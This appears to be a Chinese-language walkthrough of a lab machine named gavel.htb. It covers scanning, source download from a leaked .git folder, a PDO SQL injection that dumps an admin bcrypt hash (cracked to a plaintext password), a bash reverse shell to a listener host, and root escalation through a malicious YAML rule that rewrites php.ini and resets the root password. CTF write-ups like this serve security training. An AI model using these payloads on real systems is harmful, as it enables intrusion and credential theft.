目标信息
IP地址:
10.129.44.242(非固定IP地址)
信息收集
ICMP检测
PING 10.129.43.68 (10.129.43.68) 56(84) bytes of data.
64 bytes from 10.129.43.68: icmp_seq=1 ttl=63 time=281 ms
64 bytes from 10.129.43.68: icmp_seq=2 ttl=63 time=275 ms
64 bytes from 10.129.43.68: icmp_seq=3 ttl=63 time=276 ms
64 bytes from 10.129.43.68: icmp_seq=4 ttl=63 time=273 ms
--- 10.129.43.68 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 272.598/276.100/280.553/2.900 ms
攻击机和靶机间网络通信正常。
防火墙检测
# Nmap 7.95 scan initiated Sun Nov 30 13:25:47 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.43.68
Nmap scan report for 10.129.43.68
Host is up (0.28s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open|filtered ssh
80/tcp open|filtered http
# Nmap done at Sun Nov 30 13:26:22 2025 -- 1 IP address (1 host up) scanned in 34.90 seconds
靶机疑似开放2个TCP端口。
网络端口扫描
TCP端口扫描结果
# Nmap 7.95 scan initiated Sun Nov 30 13:30:02 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.43.86
Warning: 10.129.43.86 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.43.86
Host is up (0.27s latency).
Not shown: 64382 closed tcp ports (conn-refused), 1151 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 262.86 ms 10.10.14.1
2 262.97 ms 10.129.43.86
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 30 13:31:20 2025 -- 1 IP address (1 host up) scanned in 77.94 seconds
UDP端口开放列表扫描结果
# Nmap 7.95 scan initiated Sun Nov 30 13:36:16 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.43.86
Warning: 10.129.43.86 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.43.86
Host is up (0.28s latency).
All 65535 scanned ports on 10.129.43.86 are in ignored states.
Not shown: 65288 open|filtered udp ports (no-response), 247 closed udp ports (port-unreach)
# Nmap done at Sun Nov 30 13:40:26 2025 -- 1 IP address (1 host up) scanned in 249.41 seconds
UDP端口详细信息扫描结果
(无)
同时发现靶机运行Ubuntu Linux操作系统,运行22/ssh和80/http服务,网站主域名为gavel.htb。
服务探测
SSH服务(22端口)
尝试使用ssh工具连接靶机,查看允许的登录方式:
ssh root@gavel.htb

发现靶机SSH服务允许使用密钥和密码两种方式登录。
Web应用程序(80端口)
打开主页:http://gavel.htb/

发现该站点为模拟购物的个人网站。尝试进行目录扫描:
# Dirsearch started Mon Dec 1 08:20:29 2025 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://gavel.htb -x 400,403,404 -e php,js,html,txt,zip,tar.gz,json,xml,pdf,pcap,md -t 70 -w /usr/share/wordlists/dirb/common.txt
200 23B http://gavel.htb/.git/HEAD
302 0B http://gavel.htb/admin.php -> REDIRECTS TO: index.php
301 307B http://gavel.htb/assets -> REDIRECTS TO: http://gavel.htb/assets/
301 309B http://gavel.htb/includes -> REDIRECTS TO: http://gavel.htb/includes/
200 3KB http://gavel.htb/index.php
301 306B http://gavel.htb/rules -> REDIRECTS TO: http://gavel.htb/rules/
发现目标站点存在.git目录,直接使用GitHack工具进行源代码下载:GitHub - lijiejie/GitHack: A .git folder disclosure exploit

python /home/misaka19008/Documents/Programs/GitHack/GitHack.py http://gavel.htb/.git/

成功下载站点源代码!
渗透测试
PHP源代码审计
网站功能分析
在服务探测过程中,我们已经成功发现了站点的Git泄露漏洞并下载了源代码,现在进行PHP源代码审计。
在进行代码审计之前,我们首先需要熟悉网站的主要功能。打开主页,我们可以看到存在“登录”和“注册”两个功能,现在注册一个账号登录,探查网站普通用户拥有的功能:


发现存在Bidding和Inventory两个功能,先查看Bidding:

发现该功能为模拟扣款游戏。每个用户新注册时都会拥有50000个金币,而站点模拟扣款游戏存在3个选项,用户需要在文本框内输入符合题目要求的数值(基本要求为输入金币数值必须大于题目Current数值,且小于用户当前拥有的金币数值),如不符合基本要求和题目要求就会返回错误提示。按照题目要求操作,可以看到当前用户会被扣款:

点击Inventory切换功能,发现该功能可以查询用户完成的题目:

按F12打开网络请求监视器,点击右上角的排序方式,查看请求包,发现查询所需的用户ID参数可以由攻击者指定:

除此之外,没有发现其它的功能和敏感信息。
源代码分析
我们首先分析网站入口index.php:

通读源代码,发现在开头处引入了config.php和db.php。查看config.php,找到了MySQL连接凭据:

- 服务器:
localhost - 用户名:
gavel - 密码:
gavel - 数据库:
gavel
除此之外,未发现任何信息。回到index.php继续查看,发现在72 - 79行,当用户Session中的数组项['user']['role']值为auctioneer时,页面显示Admin功能链接,这意味这当用户角色为auctioneer时,代表该用户为网站管理员:
<?php if ($_SESSION['user']['role'] === 'auctioneer'): ?>
<li class="nav-item">
<a class="nav-link" href="admin.php">
<i class="fas fa-tools"></i>
<span>Admin Panel</span>
</a>
</li>
<?php endif; ?>
除此之外,未发现敏感安全问题。转到login.php和register.php查看:

login.php为网站登录功能实现,程序从POST数组接收username和password参数,将用户名参数过滤后,使用MySQl PDO预编译查询查出用户相关的数据库信息,再将password密码参数哈希和数据库内哈希比对,若相同则登录成功。
register.php为网站注册功能实现,程序接收到用户名和密码参数后,进行格式验证,通过后首先查询用户名是否存在,若不存在则将密码使用BCrypt方法转为哈希,使用PDO预编译查询将用户名、密码哈希、创建时间、用户角色和初始金币值存入数据库users表内,注册成功。(用户角色总为user,初始金币值总为50000):
$hash = password_hash($password, PASSWORD_DEFAULT);
$createdAt = date('Y-m-d H:i:s');
$money = 50000;
$stmt = $pdo->prepare("INSERT INTO users (username, password, role, created_at, money) VALUES (:username, :password, :role, :created_at, :money)");
$stmt->execute([
'username' => $username,
'password' => $hash,
'role' => 'user',
'created_at' => $createdAt,
'money' => $money,
]);
仔细检查源代码,均未发现SQLi、XSS等安全漏洞。转到inventory.php分析:

inventory.php为站点展示板功能实现。该程序判断用户登录后,从请求包(优先读取POST请求)中读取sort和user_id参数,随后将sortItem变量内容前后添加反引号,同时清除内容中的反引号后,将其赋值给col变量。当sortItem,即sort参数不为quantity时,程序直接将col变量内容拼接到了PDO查询语句中,而不是使用execute()方法绑定参数查询,这造成了SQLi注入漏洞。
转到admin.php分析:

发现管理后台的功能仅仅为操作数据库表auctions中字段id、rule和message的值。程序在判断当前用户角色为auctioneer后,从POST请求中读入auction_id、rule和message三个参数。如果auction_id大于0,且rule和message中存在一个参数为空,则程序进入查询模式,将Auction的rule和message打印出来;反之,如果auction_id大于0,且rule和message都不空,则程序会向数据表中更新一条记录。
if ($auction_id > 0 && (empty($rule) || empty($message))) {
$stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
$_SESSION['success'] = 'Auction not found.';
header('Location: admin.php');
exit;
}
if (empty($rule)) $rule = $row['rule'];
if (empty($message)) $message = $row['message'];
}
if ($auction_id > 0 && $rule && $message) {
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);
$_SESSION['success'] = 'Rule and message updated successfully!';
header('Location: admin.php');
exit;
}
转到bidding.php分析,发现前面提到的rule和message实际上就是模拟购物界面的题目和错误提示:

程序判断用户登录后,首先将所有处于激活状态的Auction全部查出,随后会在页面上输出其具体信息,例如名称、图片地址、结束时间等。值的一提的是,当用户点击Place Bid按钮后,扣款请求会发送到bid_handler.php处理:
document.querySelectorAll('form.bidForm').forEach(form => {
form.addEventListener('submit', async function(e) {
e.preventDefault();
const formData = new FormData(form);
const statusDiv = form.querySelector('.bidStatus');
try {
const response = await fetch('includes/bid_handler.php', {
method: 'POST',
body: formData
});
const result = await response.json();
if (result.success) {
statusDiv.innerHTML = `<div class="alert alert-success">${result.message}</div>`;
setTimeout(() => location.reload(), 1000);
} else {
statusDiv.innerHTML = `<div class="alert alert-danger">${result.message}</div>`;
}
} catch (err) {
statusDiv.innerHTML = `<div class="alert alert-danger">Unexpected error</div>`;
}
});
});
直接分析bid_handler.php:

该程序在验证用户登录后,首先接收bidding页面发送的auction_id和bid_amount参数,根据auction_id查出题目后,判断题目状态是否激活、扣款数额是否大于0且小于账户总金额与Current BID。如一切校验通过,则调用runkit_function_add()方法创建题目函数实现并调用函数,扣款后返回提示信息:
$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;
$rule = $auction['rule'];
$rule_message = $auction['message'];
$allowed = false;
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}
if (!$allowed) {
echo json_encode(['success' => false, 'message' => $rule_message]);
exit;
}
由此可见,auction['rule']实际上是一个PHP表达式。查看default.yaml也可发现这一情况:

综合上述分析结果,不难发现攻击链:
- 通过
inventory.php的SQLi注入漏洞,查询出角色为auctionerr用户的密码哈希; - 对哈希进行暴力破解;
- 如破解成功,则进入管理员操作界面,添加带有反弹
Shell后门的Rule; - 返回
Bidding界面,随意输入一个符合大于Current BID且小于账户金额的值,执行后门。
绕过PDO预编译利用SQLi
在源代码审计过程中,我们已经发现了站点存在未授权SQLi漏洞,且若取得管理员权限后可添加命令执行后门这一攻击链,现在进行SQLi漏洞利用。
观察inventory.php第13行,发现传入的sort参数在赋值给col变量时,前后拼接了两个反引号,且参数值被str_replace()方法过滤了内容中所有反引号字符,这导致无法使用传入带反引号内容进行注入:
$col = "`" . str_replace("`", "", $sortItem) . "`";
近日,在
DownUnder CTF 2025比赛中,考察了一种新的SQL注入利用方法。该攻击手法利用PHP PDO预编译功能的一些缺陷:当开发者将部分参数直接拼接到查询语句模板中,但因为一些前后拼接反引号无法直接进行注入时,攻击者可通过传入问号和终止字符%00破坏预编译语句结构,新创建一个模板位置,使之可以传入任意SQL语句进行注入。详情可见:PHP PDO Flaw Allows Hackers to Inject Malicious SQL
针对该种情况,我们可以使用传入带?号内容的方法,破坏PDO预编译语句的结构,创建一个新的预编译参数。这里可以传入:?;--+-%00,使实际语句变为:
SELECT `?;-- -` FROM inventory WHERE user_id = ? ORDER BY item_name ASC
此时,由于user_id参数未经任何过滤,我们可以通过该参数传入注入语句:x+from+(select+version()+as+'x)y;--+-`,这样实际语句就变为了:
SELECT `x`+from+(select+version()+as+`x`)y;-- -';-- -` FROM inventory WHERE user_id = ? ORDER BY item_name ASC
现在尝试进行注入。首先访问http://gavel.htb/inventory.php并打开BurpSuite,点击右上角分类,选择Quantity点击,截取请求包:

发送至Repeater,修改user_id和sort参数,随后发送:

成功进行SQL注入!现在使用count()函数查询users表内记录数量:
user_id=x`+from+(select+count(*)+as+`'x`+from+users)y;--+-&sort=?;--+-%00

发现用户表内存在2条用户记录,下面查看第一条用户记录,选中username、password和role:
user_id=x`+from+(select+concat(username,0x7e,password,0x7e,role)+as+`'x`+from+users+limit+0,1)y;--+-&sort=?;--+-%00

成功发现管理员用户auctioneer密码Brcypt哈希:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS!
直接使用hashcat爆破哈希,字典使用rockyou.txt:
./hashcat.exe -m 3200 -a 0 "`$2y`$10`$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS" ./rockyou.txt --force

成功破解网站管理员凭据:
- 用户名:
auctioneer - 密码:
midnight1
Bidding功能添加后门项目
获取管理员凭据后,直接登录:

成功!点击Admin Panel访问管理员后台:

发现当前可以修改处于激活状态Auction的条件判断表达式和简介。首先在本地启动netcat监听:
rlwrap nc -l -p 443 -s 10.10.14.87
随后启动BurpSuite,打开拦截准备,接着在时间充裕的情况下选择一个Auction,随便填写条件表达式和提示信息,在BurpSuite拦截其中填入恶意条件表达式:
return system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.87/443 0>&1'");

点击Forward发送,修改成功后,切换回Bidding界面,找到已被修改的恶意Auction,输入一个大于Current BID的值后,多次点击Place Bid触发命令执行:


反弹Shell成功!!
权限提升
目录信息收集
进入系统后,开始目录信息收集,在/opt/gavel/目录下发现了可疑文件:

查看.config目录,发现存在子目录php,目录中存在一份PHP配置文件:
ls -lAR .config

查看配置文件内容,发现禁用了大量危险方法:
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
除此之外,未发现其它信息。
移动至auctioneer用户
查看/home目录,发现靶机系统上也存在一个auctioneer用户:

尝试使用前面发现的凭据切换用户:
su auctioneer

成功!发现auctioneer用户还属于gavel-seller组。
操作系统信息收集
移动至auctioneer用户后,使用linpeas工具进行操作系统信息收集。
基本系统信息

进程列表

计划任务列表

环境变量

用户信息

特殊权限文件

开放端口信息

敏感文件权限

具有执行权限的文件

经分析研判,发现程序/usr/local/bin/gavel-util程序所有者为root,但所有组为gavel-seller,权限为0755:
ls -lA /usr/local/bin/gavel-util

决定以该程序为突破口,进行枚举和提权。
gavel-util程序利用提权
在操作系统信息收集过程中,我们已经发现/usr/local/bin/gavel-util程序所有组为gavel-seller,权限稍显特殊。首先尝试不带参数执行该程序,查看帮助信息:
gavel-util

发现该程序有submit、stats和invoice三个参数功能,尝试运行stats功能:
gavel-util stats

发现该程序实际上是之前网站内模拟购物小游戏在本地上的实现,结合在/opt/gavel内发现的PHP配置文件,猜测该小游戏主体程序虽然为Linux二进制程序,但调用了本地PHP环境来实现模拟购物功能,所有的Auction也是从数据库中查询得来。
尝试新建一个test.txt,内容填入test,随后使用submit功能尝试使用文件:
gavel-util submit test.txt

发现程序要求传入YAML文档,参数包括名称、描述、价格和规则判断表达式等,和网站中的Auction组成部分一致。
直接在本地新建YAML文档,写入恶意Auction规则。考虑到/opt/gavel/.config/php/php.ini内关闭了几乎所有命令执行方法,首先编写一份无disable_functions的PHP配置文件:
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
将其编码为Base64文本,然后编写恶意YAML规则文档,使用file_put_contents()方法将无禁用函数的配置文件覆盖到php.ini文件中:
name: evil
description: evil
image: http://127.0.0.1:80/
price: 100
rule_msg: evil
rule: |
file_put_contents("/opt/gavel/.config/php/php.ini", base64_decode("ZW5naW5lPU9uCmRpc3BsYXlfZXJyb3JzPU9uCmRpc3BsYXlfc3RhcnR1cF9lcnJvcnM9T24KbG9nX2Vycm9ycz1PZmYKZXJyb3JfcmVwb3J0aW5nPUVfQUxMCm9wZW5fYmFzZWRpcj0vb3B0L2dhdmVsCm1lbW9yeV9saW1pdD0zMk0KbWF4X2V4ZWN1dGlvbl90aW1lPTMKbWF4X2lucHV0X3RpbWU9MTAKc2Nhbl9kaXI9CmFsbG93X3VybF9mb3Blbj1PZmYKYWxsb3dfdXJsX2luY2x1ZGU9T2ZmCg=="));
return false;
接着在靶机中使用wget下载配置文件,通过gavel-util工具上传:
wget http://10.10.14.101/evil.yaml
gavel-util submit evil.yaml

上传成功!查看/opt/gavel/.config/php/php.ini,发现文件已经被修改了:

从文件权限可得知,php.ini所有者为root,权限为0644,这意味着只有root用户可以修改文件内容,也证明了通过gavel-util上传Auction恶意题目后,表达式会以root身份被执行!
成功更改PHP配置后,重新上传一份重置root密码的Auction配置:
name: evil
description: evil
image: http://127.0.0.1:80/
price: 100
rule_msg: evil
rule: |
system("echo 'root:Asd310056' | chpasswd");
return false;
随后使用gavel-util上传该配置:
gavel-util submit evil.yaml
接着使用设置的凭据,切换用户到root:
su -

提权成功!!!!
